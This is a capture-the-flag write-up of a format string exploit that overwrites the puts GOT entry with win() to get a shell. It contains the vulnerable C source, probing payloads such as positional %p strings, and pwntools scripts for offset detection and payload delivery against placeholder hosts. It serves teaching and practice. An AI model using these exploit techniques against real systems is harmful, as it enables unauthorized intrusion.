Format String Exploit — GOT Overwrite to win()
Difficulty: medium
Context
Remote pwn challenge, a binary with a format string vulnerability instead of a
classic buffer overflow. Goal: get a shell via an uncalled win() function,
despite modern binary protections (no canary, but NX and CET).
Target: <TARGET_HOST>:<TARGET_PORT>
Source code
int win(){
system("/bin/sh\0");
}
int main(){
setup();
banner();
char *username[32];
puts("Please provide your username\n");
read(0, username, sizeof(username));
puts("Thanks! ");
printf(username); // <-- vulnerability: no format specifier
puts("\nbye\n");
exit(1);
}
Callout — the false buffer
char *username[32]is not a 32-byte char buffer, but an array of 32 pointers. On x86-64 that's 32 × 8 = 256 bytes.sizeof(username)therefore matches the actual size, andread()never accepts more than those 256 bytes. This rules out a classic stack overflow via this read() — confirmed via the disassembly ofmain()(sub $0x100, %rsp, buffer atrbp-0x100, return address atrbp+0x8, within the 256-byte bound).
Protections (checksec)
| Protection | Status | Relevance |
|---|---|---|
| RELRO | Partial | GOT stays writable → GOT overwrite possible |
| Stack canary | None | Not relevant here, an overflow was already ruled out |
| NX | Enabled | No shellcode injection on the stack |
| PIE | Off | Target function address is static, no leak needed |
| SHSTK / IBT (Intel CET) | Enabled | Blocks ret hijacking, not indirect calls to an endbr64 address |
| Stripped | No | Symbols (incl. win) directly retrievable via nm/objdump |
Conclusion on protections: the combination no PIE + partial RELRO + CET
actively steers you toward one specific path: no return-address overwrite (CET
blocks that via the shadow stack), but a GOT overwrite via the format string,
aimed at a function address that itself starts with endbr64 (IBT-compliant).
Vulnerability
printf(username) is given no format specifier. User input is interpreted
directly as a format string → a classic format string vulnerability, with both a
read and a write primitive (%p/%s to read, %n variants to write to
an address you supply).
Exploitation path
1. Confirming the vulnerability
%x → <arbitrary hex value from the stack>
%p → <arbitrary pointer value from the stack>
Arbitrary stack values, as expected with an uncontrolled format string.
2. Determining the offset (manually, first attempt)
Marker + positional arguments:
AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p
At one of the positions a value came back that, decoded little-endian, matched
the start of the input string itself (AAAA.%N$...). That confirms at which
position the input buffer begins — for this specific payload shape (marker at
the front, no extra padding).
Callout — offset is not a fixed property of the program This manual offset turned out later not to transfer 1-to-1 to a payload with a different structure (addresses at the front instead of a 4-byte marker). The offset depends on the exact byte length before the first
%specifier, not just on the program itself.
3. Target: the GOT entry of puts
From the disassembly of main():
call printf@plt ; <- vulnerability
call puts@plt ; "\nbye\n" <- uses the hijacked GOT entry
call exit@plt
The puts@plt call right after the vulnerable printf call is the hook:
overwrite the GOT entry of puts (found in the .plt.sec disassembly) with the
address of win() (found via nm/objdump, symbols are not stripped), and the
next "bye" puts call runs win() instead.
4. Automatic offset detection with pwntools
Manual offset calculation turned out error-prone once multiple write addresses
and padding wraparounds get involved. Instead: FmtStr, which sends test
payloads itself and detects the offset.
from pwn import *
context.arch = 'amd64' # crucial — the default falls back to i386!
target = "<TARGET_HOST>"
port = <TARGET_PORT>
def execute_fmt(payload):
io = remote(target, port)
io.sendline(payload)
io.recvuntil(b"Thanks! ")
result = io.recvuntil(b"\nbye", drop=True)
io.close()
return result
autofmt = FmtStr(execute_fmt)
print("Found offset:", autofmt.offset)
Callout — context.arch is not a detail Without an explicit
context.arch = 'amd64', pwntools falls back to i386 as the default. That changes the assumed argument size from 8 to 4 bytes, which throws off both the offset counting and the packing of addresses — without a clear crash. This was the actual cause of a failed exploit attempt that gave no error ("no crash, no shell"), not the offset itself.
The FmtStr-measured offset differed from the manual offset, because FmtStr
internally uses a different payload structure to measure (format specifiers at
the front, addresses at the back) than the manual marker test (marker at the
front).
5. Building and sending the payload
from pwn import *
context.arch = 'amd64'
target = "<TARGET_HOST>"
port = <TARGET_PORT>
win_addr = <WIN_ADDRESS> # via nm/objdump
got_puts = <GOT_PUTS_ADDRESS> # via objdump -R or .plt.sec disassembly
io = remote(target, port)
payload = fmtstr_payload(<OFFSET>, {got_puts: win_addr})
io.sendline(payload)
io.interactive()
fmtstr_payload() automates what turned out error-prone by hand:
- splitting the target address into multiple 16-bit/8-bit chunks (
%lln,%hhn) - correct ascending write order (small → large, because the printf counter can't count backwards)
- padding-wraparound calculation (
%nvariants write the counter modulo their word size) - placing addresses at the back instead of the front, to prevent a null byte in the address from cutting off the C string (and thus the format-string parsing) early
Result: shell via win(), flag retrieved with cat flag.txt.
Pitfalls encountered (and why they were valuable)
| Symptom | Cause | Lesson |
|---|---|---|
Crash on the first write attempt (2× %hn) |
Only the lower 4 bytes of the GOT pointer overwritten, the top 4 bytes (part of the random libc location) stayed | An 8-byte pointer needs at least 3 write chunks if you want to eliminate the high, non-zero remainders |
ValueError: pack(): number does not fit within word_size in FmtStr |
No context.arch set, pwntools assumed 32-bit while leaked values were 64-bit pointers |
Always set the architecture context explicitly, don't rely on the default |
Leak test with %N$s returned only a fragment |
Address placed at the front of the payload before the format specifier → a null byte in the address cuts off the C-string parsing before printf reaches the specifier |
Addresses with null bytes belong after the format specifiers, never before |
"No crash, no shell" on the first fmtstr_payload() attempt |
context.arch was on i386 (default), wrong offset used |
Always print and verify the generated payload and the active context before sending |
recvuntil(b"\nbye") seemed to cut off data on a binary leak test |
A stray \n byte in the raw pointer data triggered the marker too early |
Use recvall(timeout=...) or hexdump() when inspecting raw/binary output, not a text marker |
Key lessons
- Not every vulnerable
read()is an overflow. Work out the real buffer size (sizeof()on a pointer array ≠ char array) before assuming an overflow path. - No PIE + stripped:no makes target functions trivially reachable (no leak needed) — always check this before setting up a more complex leak strategy.
- CET (SHSTK/IBT) specifically blocks
rethijacking, not indirect calls toendbr64addresses via, for example, the GOT. This steers the exploitation direction. - Tool defaults are not assumptions to rely on —
context.archis the clearest example here: a silent wrong default gave no error, only an exploit that did nothing. - Offsets are payload-shape-dependent, not a fixed property of the binary. Measure them with the same payload structure you'll later use them with.
Reference
- Vulnerable function:
main()— address viaobjdump -d - Target:
win()— address vianm/objdump(not stripped) - Overwritten GOT entry:
puts@GLIBC_2.2.5— address via.plt.secdisassembly orobjdump -R - Tooling:
pwntools(fmtstr_payload,FmtStr,remote)